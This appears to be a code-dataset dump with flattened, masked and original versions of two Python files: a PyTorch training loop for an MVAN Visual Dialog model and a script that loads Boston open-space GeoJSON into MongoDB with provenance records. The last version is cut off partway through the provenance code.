self.criterion = nn.CrossEntropyLoss(ignore_index=self.
train_dataset.vocabulary.PAD_INDEX)
if self.hparams.training_splits == 'trainval':
self.iterations = (len(self.train_dataset) + len(self.
valid_dataset)) // self.hparams.virtual_batch_size
else:
self.iterations = len(self.train_dataset
) // self.hparams.virtual_batch_size
def lr_lambda_fun(current_iteration: int) ->float:
"""Returns a learning rate multiplier.
Till `warmup_epochs`, learning rate linearly increases to `initial_lr`,
and then gets multiplied by `lr_gamma` every time a milestone is crossed.
"""
current_epoch = float(current_iteration) / self.iterations
if current_epoch <= self.hparams.warmup_epochs:
alpha = current_epoch / float(self.hparams.warmup_epochs)
return self.hparams.warmup_factor * (1.0 - alpha) + alpha
else:
return_val = 1.0
if current_epoch >= self.hparams.lr_milestones[0
] and current_epoch < self.hparams.lr_milestones2[0]:
idx = bisect(self.hparams.lr_milestones, current_epoch)
return_val = pow(self.hparams.lr_gamma, idx)
elif current_epoch >= self.hparams.lr_milestones2[0]:
idx = bisect(self.hparams.lr_milestones2, current_epoch)
return_val = self.hparams.lr_gamma * pow(self.hparams.
lr_gamma2, idx)
return return_val
if self.hparams.lr_scheduler == 'LambdaLR':
self.optimizer = optim.Adam(self.model.parameters(), lr=self.
hparams.initial_lr)
self.scheduler = lr_scheduler.LambdaLR(self.optimizer,
lr_lambda=lr_lambda_fun)
else:
raise NotImplementedError
print(
"""
# -------------------------------------------------------------------------
# Model Build Finished
# -------------------------------------------------------------------------
"""
)
def _setup_training(self):
if self.hparams.save_dirpath == 'checkpoints/':
self.save_dirpath = os.path.join(self.hparams.root_dir, self.
hparams.save_dirpath)
self.summary_writer = SummaryWriter(self.save_dirpath)
self.checkpoint_manager = CheckpointManager(self.model, self.
optimizer, self.save_dirpath, hparams=self.hparams)
if self.hparams.load_pthpath == '':
self.start_epoch = 1
else:
self.start_epoch = int(self.hparams.load_pthpath.split('_')[-1]
[:-4])
self.start_epoch += 1
model_state_dict, optimizer_state_dict = load_checkpoint(self.
hparams.load_pthpath)
if isinstance(self.model, nn.DataParallel):
self.model.module.load_state_dict(model_state_dict)
else:
self.model.load_state_dict(model_state_dict)
self.optimizer.load_state_dict(optimizer_state_dict)
self.previous_model_path = self.hparams.load_pthpath
print('Loaded model from {}'.format(self.hparams.load_pthpath))
print(
"""
# -------------------------------------------------------------------------
# Setup Training Finished
# -------------------------------------------------------------------------
"""
)
def _loss_fn(self, epoch, batch, output):
target = batch['ans_ind'] if 'disc' in self.hparams.decoder else batch[
'ans_out']
batch_loss = self.criterion(output.view(-1, output.size(-1)),
target.view(-1).to(self.device))
return batch_loss
def train(self):
self._build_dataloader()
self._build_model()
self._setup_training()
evaluation = Evaluation(self.hparams, model=self.model, split='val')
global_iteration_step = (self.start_epoch - 1) * self.iterations
running_loss = 0.0
train_begin = datetime.utcnow()
print(
"""
# -------------------------------------------------------------------------
# Model Train Starts (NEW)
# -------------------------------------------------------------------------
"""
)
for epoch in range(self.start_epoch, self.hparams.num_epochs):
self.model.train()
combined_dataloader = itertools.chain(self.train_dataloader)
print(f'\nTraining for epoch {epoch}:', 'Total Iter:', self.
iterations)
tqdm_batch_iterator = tqdm(combined_dataloader)
accumulate_batch = 0
for i, batch in enumerate(tqdm_batch_iterator):
buffer_batch = batch.copy()
for key in batch:
buffer_batch[key] = buffer_batch[key].to(self.device)
output = self.model(buffer_batch)
batch_loss = self._loss_fn(epoch, batch, output)
batch_loss.backward()
accumulate_batch += batch['img_ids'].shape[0]
if (self.hparams.virtual_batch_size == accumulate_batch or
i == len(self.train_dataset) // self.hparams.
train_batch_size):
self.optimizer.step()
if running_loss > 0.0:
running_loss = (0.95 * running_loss + 0.05 *
batch_loss.item())
else:
running_loss = batch_loss.item()
self.optimizer.zero_grad()
accumulate_batch = 0
self.scheduler.step(global_iteration_step)
global_iteration_step += 1
description = (
'[{}][Epoch: {:3d}][Iter: {:6d}][Loss: {:6f}][lr: {:7f}]'
.format(datetime.utcnow() - train_begin, epoch,
global_iteration_step, running_loss, self.optimizer
.param_groups[0]['lr']))
tqdm_batch_iterator.set_description(description)
if (global_iteration_step % self.hparams.
tensorboard_step == 0):
description = (
'[{}][Epoch: {:3d}][Iter: {:6d}][Loss: {:6f}][lr: {:7f}]'
.format(datetime.utcnow() - train_begin, epoch,
global_iteration_step, running_loss, self.
optimizer.param_groups[0]['lr']))
self._logger.info(description)
self.summary_writer.add_scalar('train/loss',
batch_loss, global_iteration_step)
self.summary_writer.add_scalar('train/lr', self.
optimizer.param_groups[0]['lr'],
global_iteration_step)
self.checkpoint_manager.step(epoch)
self.previous_model_path = os.path.join(self.checkpoint_manager
.ckpt_dirpath, 'checkpoint_%d.pth' % epoch)
self._logger.info(self.previous_model_path)
if (epoch < self.hparams.num_epochs - 1 and self.hparams.
dataset_version == '0.9'):
continue
torch.cuda.empty_cache()
evaluation.run_evaluate(self.previous_model_path,
global_iteration_step, self.summary_writer, os.path.join(
self.checkpoint_manager.ckpt_dirpath, 'ranks_%d_valid.json' %
epoch))
torch.cuda.empty_cache()
return self.previous_model_path
| import os
os.environ['CUDA_VISIBLE_DEVICES'] = '0,1'
import logging
import itertools
import torch
from torch import nn, optim
from torch.optim import lr_scheduler
from torch.utils.data import DataLoader
from torch.utils.tensorboard import SummaryWriter
from tqdm import tqdm
from setproctitle import setproctitle
from bisect import bisect
from datetime import datetime
import numpy as np
from data.dataset import VisDialDataset
from visdial.encoders import Encoder
from visdial.decoders import Decoder
from visdial.model import EncoderDecoderModel
from visdial.utils.checkpointing import CheckpointManager, load_checkpoint
from single_evaluation import Evaluation
class MVAN(object):
def __init__(self, hparams):
self.hparams = hparams
self._logger = logging.getLogger(__name__)
np.random.seed(hparams.random_seed[0])
torch.manual_seed(hparams.random_seed[0])
torch.cuda.manual_seed_all(hparams.random_seed[0])
torch.backends.cudnn.benchmark = False
torch.backends.cudnn.deterministic = True
self.device = torch.device('cuda', self.hparams.gpu_ids[0]
) if self.hparams.gpu_ids[0] >= 0 else torch.device('cpu')
setproctitle(hparams.dataset_version + '_' + hparams.model_name +
'_' + str(hparams.random_seed[0]))
def _build_dataloader(self):
old_split = 'train' if self.hparams.dataset_version == '0.9' else None
self.train_dataset = VisDialDataset(self.hparams, overfit=self.
hparams.overfit, split='train', old_split=old_split)
collate_fn = None
if 'dan' in self.hparams.img_feature_type:
collate_fn = self.train_dataset.collate_fn
self.train_dataloader = DataLoader(self.train_dataset, batch_size=
self.hparams.train_batch_size, num_workers=self.hparams.
cpu_workers, shuffle=True, drop_last=True, collate_fn=collate_fn)
print(
"""
# -------------------------------------------------------------------------
# DATALOADER FINISHED
# -------------------------------------------------------------------------
"""
)
def _build_model(self):
print('\t* Building model...')
encoder = Encoder(self.hparams, self.train_dataset.vocabulary)
decoder = Decoder(self.hparams, self.train_dataset.vocabulary)
print('Encoder: {}'.format(self.hparams.encoder))
print('Decoder: {}'.format(self.hparams.decoder))
if self.hparams.glove_npy != '':
encoder.word_embed.weight.data = torch.from_numpy(np.load(self.
hparams.glove_npy))
print('Loaded glove vectors from {}'.format(self.hparams.glove_npy)
)
decoder.word_embed = encoder.word_embed
self.model = EncoderDecoderModel(encoder, decoder)
self.model = self.model.to(self.device)
if -1 not in self.hparams.gpu_ids and len(self.hparams.gpu_ids) > 1:
self.model = nn.DataParallel(self.model, self.hparams.gpu_ids)
if 'disc' in self.hparams.decoder:
self.criterion = nn.CrossEntropyLoss()
elif 'gen' in self.hparams.decoder:
self.criterion = nn.CrossEntropyLoss(ignore_index=self.
train_dataset.vocabulary.PAD_INDEX)
if self.hparams.training_splits == 'trainval':
self.iterations = (len(self.train_dataset) + len(self.
valid_dataset)) // self.hparams.virtual_batch_size
else:
self.iterations = len(self.train_dataset
) // self.hparams.virtual_batch_size
def lr_lambda_fun(current_iteration: int) ->float:
"""Returns a learning rate multiplier.
Till `warmup_epochs`, learning rate linearly increases to `initial_lr`,
and then gets multiplied by `lr_gamma` every time a milestone is crossed.
"""
current_epoch = float(current_iteration) / self.iterations
if current_epoch <= self.hparams.warmup_epochs:
alpha = current_epoch / float(self.hparams.warmup_epochs)
return self.hparams.warmup_factor * (1.0 - alpha) + alpha
else:
return_val = 1.0
if current_epoch >= self.hparams.lr_milestones[0
] and current_epoch < self.hparams.lr_milestones2[0]:
idx = bisect(self.hparams.lr_milestones, current_epoch)
return_val = pow(self.hparams.lr_gamma, idx)
elif current_epoch >= self.hparams.lr_milestones2[0]:
idx = bisect(self.hparams.lr_milestones2, current_epoch)
return_val = self.hparams.lr_gamma * pow(self.hparams.
lr_gamma2, idx)
return return_val
if self.hparams.lr_scheduler == 'LambdaLR':
self.optimizer = optim.Adam(self.model.parameters(), lr=self.
hparams.initial_lr)
self.scheduler = lr_scheduler.LambdaLR(self.optimizer,
lr_lambda=lr_lambda_fun)
else:
raise NotImplementedError
print(
"""
# -------------------------------------------------------------------------
# Model Build Finished
# -------------------------------------------------------------------------
"""
)
def _setup_training(self):
if self.hparams.save_dirpath == 'checkpoints/':
self.save_dirpath = os.path.join(self.hparams.root_dir, self.
hparams.save_dirpath)
self.summary_writer = SummaryWriter(self.save_dirpath)
self.checkpoint_manager = CheckpointManager(self.model, self.
optimizer, self.save_dirpath, hparams=self.hparams)
if self.hparams.load_pthpath == '':
self.start_epoch = 1
else:
self.start_epoch = int(self.hparams.load_pthpath.split('_')[-1]
[:-4])
self.start_epoch += 1
model_state_dict, optimizer_state_dict = load_checkpoint(self.
hparams.load_pthpath)
if isinstance(self.model, nn.DataParallel):
self.model.module.load_state_dict(model_state_dict)
else:
self.model.load_state_dict(model_state_dict)
self.optimizer.load_state_dict(optimizer_state_dict)
self.previous_model_path = self.hparams.load_pthpath
print('Loaded model from {}'.format(self.hparams.load_pthpath))
print(
"""
# -------------------------------------------------------------------------
# Setup Training Finished
# -------------------------------------------------------------------------
"""
)
def _loss_fn(self, epoch, batch, output):
target = batch['ans_ind'] if 'disc' in self.hparams.decoder else batch[
'ans_out']
batch_loss = self.criterion(output.view(-1, output.size(-1)),
target.view(-1).to(self.device))
return batch_loss
def train(self):
self._build_dataloader()
self._build_model()
self._setup_training()
evaluation = Evaluation(self.hparams, model=self.model, split='val')
global_iteration_step = (self.start_epoch - 1) * self.iterations
running_loss = 0.0
train_begin = datetime.utcnow()
print(
"""
# -------------------------------------------------------------------------
# Model Train Starts (NEW)
# -------------------------------------------------------------------------
"""
)
for epoch in range(self.start_epoch, self.hparams.num_epochs):
self.model.train()
combined_dataloader = itertools.chain(self.train_dataloader)
print(f'\nTraining for epoch {epoch}:', 'Total Iter:', self.
iterations)
tqdm_batch_iterator = tqdm(combined_dataloader)
accumulate_batch = 0
for i, batch in enumerate(tqdm_batch_iterator):
buffer_batch = batch.copy()
for key in batch:
buffer_batch[key] = buffer_batch[key].to(self.device)
output = self.model(buffer_batch)
batch_loss = self._loss_fn(epoch, batch, output)
batch_loss.backward()
accumulate_batch += batch['img_ids'].shape[0]
if (self.hparams.virtual_batch_size == accumulate_batch or
i == len(self.train_dataset) // self.hparams.
train_batch_size):
self.optimizer.step()
if running_loss > 0.0:
running_loss = (0.95 * running_loss + 0.05 *
batch_loss.item())
else:
running_loss = batch_loss.item()
self.optimizer.zero_grad()
accumulate_batch = 0
self.scheduler.step(global_iteration_step)
global_iteration_step += 1
description = (
'[{}][Epoch: {:3d}][Iter: {:6d}][Loss: {:6f}][lr: {:7f}]'
.format(datetime.utcnow() - train_begin, epoch,
global_iteration_step, running_loss, self.optimizer
.param_groups[0]['lr']))
tqdm_batch_iterator.set_description(description)
if (global_iteration_step % self.hparams.
tensorboard_step == 0):
description = (
'[{}][Epoch: {:3d}][Iter: {:6d}][Loss: {:6f}][lr: {:7f}]'
.format(datetime.utcnow() - train_begin, epoch,
global_iteration_step, running_loss, self.
optimizer.param_groups[0]['lr']))
self._logger.info(description)
self.summary_writer.add_scalar('train/loss',
batch_loss, global_iteration_step)
self.summary_writer.add_scalar('train/lr', self.
optimizer.param_groups[0]['lr'],
global_iteration_step)
self.checkpoint_manager.step(epoch)
self.previous_model_path = os.path.join(self.checkpoint_manager
.ckpt_dirpath, 'checkpoint_%d.pth' % epoch)
self._logger.info(self.previous_model_path)
if (epoch < self.hparams.num_epochs - 1 and self.hparams.
dataset_version == '0.9'):
continue
torch.cuda.empty_cache()
evaluation.run_evaluate(self.previous_model_path,
global_iteration_step, self.summary_writer, os.path.join(
self.checkpoint_manager.ckpt_dirpath, 'ranks_%d_valid.json' %
epoch))
torch.cuda.empty_cache()
return self.previous_model_path
| import os
os.environ["CUDA_VISIBLE_DEVICES"] = "0,1"
import logging
import itertools
import torch
from torch import nn, optim
from torch.optim import lr_scheduler
from torch.utils.data import DataLoader
from torch.utils.tensorboard import SummaryWriter
from tqdm import tqdm
from setproctitle import setproctitle
from bisect import bisect
from datetime import datetime
import numpy as np
from data.dataset import VisDialDataset
from visdial.encoders import Encoder
from visdial.decoders import Decoder
from visdial.model import EncoderDecoderModel
from visdial.utils.checkpointing import CheckpointManager, load_checkpoint
from single_evaluation import Evaluation
class MVAN(object):
def __init__(self, hparams):
self.hparams = hparams
self._logger = logging.getLogger(__name__)
np.random.seed(hparams.random_seed[0])
torch.manual_seed(hparams.random_seed[0])
torch.cuda.manual_seed_all(hparams.random_seed[0])
torch.backends.cudnn.benchmark = False
torch.backends.cudnn.deterministic = True
self.device = (
torch.device("cuda", self.hparams.gpu_ids[0])
if self.hparams.gpu_ids[0] >= 0
else torch.device("cpu")
)
setproctitle(hparams.dataset_version + '_' + hparams.model_name + '_' + str(hparams.random_seed[0]))
# def _build_data_process(self):
def _build_dataloader(self):
# =============================================================================
# SETUP DATASET, DATALOADER
# =============================================================================
old_split = "train" if self.hparams.dataset_version == "0.9" else None
self.train_dataset = VisDialDataset(
self.hparams,
overfit=self.hparams.overfit,
split="train",
old_split = old_split
)
collate_fn = None
if "dan" in self.hparams.img_feature_type:
collate_fn = self.train_dataset.collate_fn
self.train_dataloader = DataLoader(
self.train_dataset,
batch_size=self.hparams.train_batch_size,
num_workers=self.hparams.cpu_workers,
shuffle=True,
drop_last=True,
collate_fn=collate_fn,
)
print("""
# -------------------------------------------------------------------------
# DATALOADER FINISHED
# -------------------------------------------------------------------------
""")
def _build_model(self):
# =============================================================================
# MODEL : Encoder, Decoder
# =============================================================================
print('\t* Building model...')
# Pass vocabulary to construct Embedding layer.
encoder = Encoder(self.hparams, self.train_dataset.vocabulary)
decoder = Decoder(self.hparams, self.train_dataset.vocabulary)
print("Encoder: {}".format(self.hparams.encoder))
print("Decoder: {}".format(self.hparams.decoder))
# New: Initializing word_embed using GloVe
if self.hparams.glove_npy != '':
encoder.word_embed.weight.data = torch.from_numpy(np.load(self.hparams.glove_npy))
print("Loaded glove vectors from {}".format(self.hparams.glove_npy))
# Share word embedding between encoder and decoder.
decoder.word_embed = encoder.word_embed
# Wrap encoder and decoder in a model.
self.model = EncoderDecoderModel(encoder, decoder)
self.model = self.model.to(self.device)
# Use Multi-GPUs
if -1 not in self.hparams.gpu_ids and len(self.hparams.gpu_ids) > 1:
self.model = nn.DataParallel(self.model, self.hparams.gpu_ids)
# =============================================================================
# CRITERION
# =============================================================================
if "disc" in self.hparams.decoder:
self.criterion = nn.CrossEntropyLoss()
elif "gen" in self.hparams.decoder:
self.criterion = nn.CrossEntropyLoss(ignore_index=self.train_dataset.vocabulary.PAD_INDEX)
# Total Iterations -> for learning rate scheduler
if self.hparams.training_splits == "trainval":
self.iterations = (len(self.train_dataset) + len(self.valid_dataset)) // self.hparams.virtual_batch_size
else:
self.iterations = len(self.train_dataset) // self.hparams.virtual_batch_size
# =============================================================================
# OPTIMIZER, SCHEDULER
# =============================================================================
def lr_lambda_fun(current_iteration: int) -> float:
"""Returns a learning rate multiplier.
Till `warmup_epochs`, learning rate linearly increases to `initial_lr`,
and then gets multiplied by `lr_gamma` every time a milestone is crossed.
"""
current_epoch = float(current_iteration) / self.iterations
if current_epoch <= self.hparams.warmup_epochs:
alpha = current_epoch / float(self.hparams.warmup_epochs)
return self.hparams.warmup_factor * (1.0 - alpha) + alpha
else:
return_val = 1.0
if current_epoch >= self.hparams.lr_milestones[0] and current_epoch < self.hparams.lr_milestones2[0]:
idx = bisect(self.hparams.lr_milestones, current_epoch)
return_val = pow(self.hparams.lr_gamma, idx)
elif current_epoch >= self.hparams.lr_milestones2[0]:
idx = bisect(self.hparams.lr_milestones2, current_epoch)
return_val = self.hparams.lr_gamma * pow(self.hparams.lr_gamma2, idx)
return return_val
if self.hparams.lr_scheduler == "LambdaLR":
self.optimizer = optim.Adam(self.model.parameters(), lr=self.hparams.initial_lr)
self.scheduler = lr_scheduler.LambdaLR(self.optimizer, lr_lambda=lr_lambda_fun)
else:
raise NotImplementedError
print(
"""
# -------------------------------------------------------------------------
# Model Build Finished
# -------------------------------------------------------------------------
"""
)
def _setup_training(self):
if self.hparams.save_dirpath == 'checkpoints/':
self.save_dirpath = os.path.join(self.hparams.root_dir, self.hparams.save_dirpath)
self.summary_writer = SummaryWriter(self.save_dirpath)
self.checkpoint_manager = CheckpointManager(
self.model, self.optimizer, self.save_dirpath, hparams=self.hparams
)
# If loading from checkpoint, adjust start epoch and load parameters.
if self.hparams.load_pthpath == "":
self.start_epoch = 1
else:
# "path/to/checkpoint_xx.pth" -> xx
self.start_epoch = int(self.hparams.load_pthpath.split("_")[-1][:-4])
self.start_epoch += 1
model_state_dict, optimizer_state_dict = load_checkpoint(self.hparams.load_pthpath)
if isinstance(self.model, nn.DataParallel):
self.model.module.load_state_dict(model_state_dict)
else:
self.model.load_state_dict(model_state_dict)
self.optimizer.load_state_dict(optimizer_state_dict)
self.previous_model_path = self.hparams.load_pthpath
print("Loaded model from {}".format(self.hparams.load_pthpath))
print(
"""
# -------------------------------------------------------------------------
# Setup Training Finished
# -------------------------------------------------------------------------
"""
)
def _loss_fn(self, epoch, batch, output):
target = (batch["ans_ind"] if "disc" in self.hparams.decoder else batch["ans_out"])
batch_loss = self.criterion(output.view(-1, output.size(-1)), target.view(-1).to(self.device))
return batch_loss
def train(self):
self._build_dataloader()
self._build_model()
self._setup_training()
# Evaluation Setup
evaluation = Evaluation(self.hparams, model=self.model, split="val")
# Forever increasing counter to keep track of iterations (for tensorboard log).
global_iteration_step = (self.start_epoch - 1) * self.iterations
running_loss = 0.0 # New
train_begin = datetime.utcnow() # New
print(
"""
# -------------------------------------------------------------------------
# Model Train Starts (NEW)
# -------------------------------------------------------------------------
"""
)
for epoch in range(self.start_epoch, self.hparams.num_epochs):
self.model.train()
# -------------------------------------------------------------------------
# ON EPOCH START (combine dataloaders if training on train + val)
# -------------------------------------------------------------------------
combined_dataloader = itertools.chain(self.train_dataloader)
print(f"\nTraining for epoch {epoch}:", "Total Iter:", self.iterations)
tqdm_batch_iterator = tqdm(combined_dataloader)
accumulate_batch = 0 # taesun New
for i, batch in enumerate(tqdm_batch_iterator):
buffer_batch = batch.copy()
for key in batch:
buffer_batch[key] = buffer_batch[key].to(self.device)
output = self.model(buffer_batch)
batch_loss = self._loss_fn(epoch, batch, output)
batch_loss.backward()
accumulate_batch += batch["img_ids"].shape[0]
if self.hparams.virtual_batch_size == accumulate_batch \
or i == (len(self.train_dataset) // self.hparams.train_batch_size): # last batch
self.optimizer.step()
# --------------------------------------------------------------------
# Update running loss and decay learning rates
# --------------------------------------------------------------------
if running_loss > 0.0:
running_loss = 0.95 * running_loss + 0.05 * batch_loss.item()
else:
running_loss = batch_loss.item()
self.optimizer.zero_grad()
accumulate_batch = 0
self.scheduler.step(global_iteration_step)
global_iteration_step += 1
# torch.cuda.empty_cache()
description = "[{}][Epoch: {:3d}][Iter: {:6d}][Loss: {:6f}][lr: {:7f}]".format(
datetime.utcnow() - train_begin,
epoch,
global_iteration_step, running_loss,
self.optimizer.param_groups[0]['lr'])
tqdm_batch_iterator.set_description(description)
# tensorboard
if global_iteration_step % self.hparams.tensorboard_step == 0:
description = "[{}][Epoch: {:3d}][Iter: {:6d}][Loss: {:6f}][lr: {:7f}]".format(
datetime.utcnow() - train_begin,
epoch,
global_iteration_step, running_loss,
self.optimizer.param_groups[0]['lr'],
)
self._logger.info(description)
# tensorboard writing scalar
self.summary_writer.add_scalar(
"train/loss", batch_loss, global_iteration_step
)
self.summary_writer.add_scalar(
"train/lr", self.optimizer.param_groups[0]["lr"], global_iteration_step
)
# -------------------------------------------------------------------------
# ON EPOCH END (checkpointing and validation)
# -------------------------------------------------------------------------
self.checkpoint_manager.step(epoch)
self.previous_model_path = os.path.join(self.checkpoint_manager.ckpt_dirpath, "checkpoint_%d.pth" % (epoch))
self._logger.info(self.previous_model_path)
if epoch < self.hparams.num_epochs - 1 and self.hparams.dataset_version == '0.9':
continue
torch.cuda.empty_cache()
evaluation.run_evaluate(self.previous_model_path, global_iteration_step, self.summary_writer,
os.path.join(self.checkpoint_manager.ckpt_dirpath, "ranks_%d_valid.json" % epoch))
torch.cuda.empty_cache()
return self.previous_model_path | [
4,
7,
8,
9,
10
] |
9,914 | 2c82dd33180a7442607e5cbedf8846bd72b37150 | <mask token>
class retrieve_open_space(dml.Algorithm):
<mask token>
<mask token>
<mask token>
<mask token>
<mask token>
| <mask token>
class retrieve_open_space(dml.Algorithm):
<mask token>
<mask token>
<mask token>
@staticmethod
def execute(trial=False, log=False):
"""Retrieves open spaces in Boston as geoJSON"""
startTime = datetime.datetime.now()
client = dml.pymongo.MongoClient()
repo = client.repo
repo.authenticate('bmroach', 'bmroach')
repo.dropCollection('open_space')
repo.createCollection('open_space')
url = (
'http://bostonopendata-boston.opendata.arcgis.com/datasets/2868d370c55d4d458d4ae2224ef8cddd_7.geojson'
)
response = urllib.request.urlopen(url).read().decode('utf-8')
gj = geojson.loads(response)
geoDict = dict(gj)
geoList = geoDict['features']
repo['bmroach.open_space'].insert_many(geoList)
repo['bmroach.open_space'].metadata({'complete': True})
repo.logout()
endTime = datetime.datetime.now()
return {'start': startTime, 'end': endTime}
@staticmethod
def provenance(doc=prov.model.ProvDocument(), startTime=None, endTime=None
):
"""
Create the provenance document describing everything happening
in this script. Each run of the script will generate a new
document describing that invocation event.
"""
client = dml.pymongo.MongoClient()
repo = client.repo
repo.authenticate('bmroach', 'bmroach')
doc.add_namespace('alg', 'http://datamechanics.io/algorithm/')
doc.add_namespace('dat', 'http://datamechanics.io/data/')
doc.add_namespace('ont', 'http://datamechanics.io/ontology#')
doc.add_namespace('log', 'http://datamechanics.io/log/')
doc.add_namespace('ops',
'http://bostonopendata-boston.opendata.arcgis.com/datasets/')
this_script = doc.agent('alg:bmroach#open_space', {prov.model.
PROV_TYPE: prov.model.PROV['SoftwareAgent'], 'ont:Extension': 'py'}
)
resource = doc.entity('ops:2868d370c55d4d458d4ae2224ef8cddd_7', {
'prov:label': '311, Service Requests', prov.model.PROV_TYPE:
'ont:DataResource', 'ont:Extension': 'geojson'})
get_open_space = doc.activity('log:uuid' + str(uuid.uuid4()),
startTime, endTime)
doc.wasAssociatedWith(get_open_space, this_script)
doc.usage(get_open_space, resource, startTime, None, {prov.model.
PROV_TYPE: 'ont:Retrieval', 'ont:Query': ''})
open_space = doc.entity('dat:bmroach#open_space', {prov.model.
PROV_LABEL: 'open_space', prov.model.PROV_TYPE: 'ont:DataSet'})
doc.wasAttributedTo(open_space, this_script)
doc.wasGeneratedBy(open_space, get_open_space, endTime)
doc.wasDerivedFrom(open_space, resource, get_open_space,
get_open_space, get_open_space)
repo.logout()
return doc
| <mask token>
class retrieve_open_space(dml.Algorithm):
contributor = 'bmroach'
reads = []
writes = ['bmroach.open_space']
@staticmethod
def execute(trial=False, log=False):
"""Retrieves open spaces in Boston as geoJSON"""
startTime = datetime.datetime.now()
client = dml.pymongo.MongoClient()
repo = client.repo
repo.authenticate('bmroach', 'bmroach')
repo.dropCollection('open_space')
repo.createCollection('open_space')
url = (
'http://bostonopendata-boston.opendata.arcgis.com/datasets/2868d370c55d4d458d4ae2224ef8cddd_7.geojson'
)
response = urllib.request.urlopen(url).read().decode('utf-8')
gj = geojson.loads(response)
geoDict = dict(gj)
geoList = geoDict['features']
repo['bmroach.open_space'].insert_many(geoList)
repo['bmroach.open_space'].metadata({'complete': True})
repo.logout()
endTime = datetime.datetime.now()
return {'start': startTime, 'end': endTime}
@staticmethod
def provenance(doc=prov.model.ProvDocument(), startTime=None, endTime=None
):
"""
Create the provenance document describing everything happening
in this script. Each run of the script will generate a new
document describing that invocation event.
"""
client = dml.pymongo.MongoClient()
repo = client.repo
repo.authenticate('bmroach', 'bmroach')
doc.add_namespace('alg', 'http://datamechanics.io/algorithm/')
doc.add_namespace('dat', 'http://datamechanics.io/data/')
doc.add_namespace('ont', 'http://datamechanics.io/ontology#')
doc.add_namespace('log', 'http://datamechanics.io/log/')
doc.add_namespace('ops',
'http://bostonopendata-boston.opendata.arcgis.com/datasets/')
this_script = doc.agent('alg:bmroach#open_space', {prov.model.
PROV_TYPE: prov.model.PROV['SoftwareAgent'], 'ont:Extension': 'py'}
)
resource = doc.entity('ops:2868d370c55d4d458d4ae2224ef8cddd_7', {
'prov:label': '311, Service Requests', prov.model.PROV_TYPE:
'ont:DataResource', 'ont:Extension': 'geojson'})
get_open_space = doc.activity('log:uuid' + str(uuid.uuid4()),
startTime, endTime)
doc.wasAssociatedWith(get_open_space, this_script)
doc.usage(get_open_space, resource, startTime, None, {prov.model.
PROV_TYPE: 'ont:Retrieval', 'ont:Query': ''})
open_space = doc.entity('dat:bmroach#open_space', {prov.model.
PROV_LABEL: 'open_space', prov.model.PROV_TYPE: 'ont:DataSet'})
doc.wasAttributedTo(open_space, this_script)
doc.wasGeneratedBy(open_space, get_open_space, endTime)
doc.wasDerivedFrom(open_space, resource, get_open_space,
get_open_space, get_open_space)
repo.logout()
return doc
| import urllib.request
import json
import dml, prov.model
import datetime, uuid
import geojson
<mask token>
class retrieve_open_space(dml.Algorithm):
contributor = 'bmroach'
reads = []
writes = ['bmroach.open_space']
@staticmethod
def execute(trial=False, log=False):
"""Retrieves open spaces in Boston as geoJSON"""
startTime = datetime.datetime.now()
client = dml.pymongo.MongoClient()
repo = client.repo
repo.authenticate('bmroach', 'bmroach')
repo.dropCollection('open_space')
repo.createCollection('open_space')
url = (
'http://bostonopendata-boston.opendata.arcgis.com/datasets/2868d370c55d4d458d4ae2224ef8cddd_7.geojson'
)
response = urllib.request.urlopen(url).read().decode('utf-8')
gj = geojson.loads(response)
geoDict = dict(gj)
geoList = geoDict['features']
repo['bmroach.open_space'].insert_many(geoList)
repo['bmroach.open_space'].metadata({'complete': True})
repo.logout()
endTime = datetime.datetime.now()
return {'start': startTime, 'end': endTime}
@staticmethod
def provenance(doc=prov.model.ProvDocument(), startTime=None, endTime=None
):
"""
Create the provenance document describing everything happening
in this script. Each run of the script will generate a new
document describing that invocation event.
"""
client = dml.pymongo.MongoClient()
repo = client.repo
repo.authenticate('bmroach', 'bmroach')
doc.add_namespace('alg', 'http://datamechanics.io/algorithm/')
doc.add_namespace('dat', 'http://datamechanics.io/data/')
doc.add_namespace('ont', 'http://datamechanics.io/ontology#')
doc.add_namespace('log', 'http://datamechanics.io/log/')
doc.add_namespace('ops',
'http://bostonopendata-boston.opendata.arcgis.com/datasets/')
this_script = doc.agent('alg:bmroach#open_space', {prov.model.
PROV_TYPE: prov.model.PROV['SoftwareAgent'], 'ont:Extension': 'py'}
)
resource = doc.entity('ops:2868d370c55d4d458d4ae2224ef8cddd_7', {
'prov:label': '311, Service Requests', prov.model.PROV_TYPE:
'ont:DataResource', 'ont:Extension': 'geojson'})
get_open_space = doc.activity('log:uuid' + str(uuid.uuid4()),
startTime, endTime)
doc.wasAssociatedWith(get_open_space, this_script)
doc.usage(get_open_space, resource, startTime, None, {prov.model.
PROV_TYPE: 'ont:Retrieval', 'ont:Query': ''})
open_space = doc.entity('dat:bmroach#open_space', {prov.model.
PROV_LABEL: 'open_space', prov.model.PROV_TYPE: 'ont:DataSet'})
doc.wasAttributedTo(open_space, this_script)
doc.wasGeneratedBy(open_space, get_open_space, endTime)
doc.wasDerivedFrom(open_space, resource, get_open_space,
get_open_space, get_open_space)
repo.logout()
return doc
| import urllib.request
import json
import dml, prov.model
import datetime, uuid
import geojson
# import csv
"""
Skelton file provided by [email protected]
Heavily modified by [email protected]
City of Boston Open Spaces (Like parks, etc)
Development notes:
"""
class retrieve_open_space(dml.Algorithm):
contributor = 'bmroach'
reads = []
writes = ['bmroach.open_space']
@staticmethod
def execute(trial = False, log=False):
'''Retrieves open spaces in Boston as geoJSON'''
startTime = datetime.datetime.now()
# Set up the database connection.
client = dml.pymongo.MongoClient()
repo = client.repo
repo.authenticate('bmroach', 'bmroach')
# Do retrieving of data
repo.dropCollection("open_space")
repo.createCollection("open_space")
url = 'http://bostonopendata-boston.opendata.arcgis.com/datasets/2868d370c55d4d458d4ae2224ef8cddd_7.geojson'
response = urllib.request.urlopen(url).read().decode("utf-8")
gj = geojson.loads(response)
geoDict = dict(gj)
geoList = geoDict['features']
repo['bmroach.open_space'].insert_many( geoList )
repo['bmroach.open_space'].metadata({'complete':True})
repo.logout()
endTime = datetime.datetime.now()
return {"start":startTime, "end":endTime}
@staticmethod
def provenance(doc = prov.model.ProvDocument(), startTime = None, endTime = None):
'''
Create the provenance document describing everything happening
in this script. Each run of the script will generate a new
document describing that invocation event.
'''
client = dml.pymongo.MongoClient()
repo = client.repo
repo.authenticate('bmroach', 'bmroach')
doc.add_namespace('alg', 'http://datamechanics.io/algorithm/') # The scripts are in <folder>#<filename> format.
doc.add_namespace('dat', 'http://datamechanics.io/data/') # The data sets are in <user>#<collection> format.
doc.add_namespace('ont', 'http://datamechanics.io/ontology#') # 'Extension', 'DataResource', 'DataSet', 'Retrieval', 'Query', or 'Computation'.
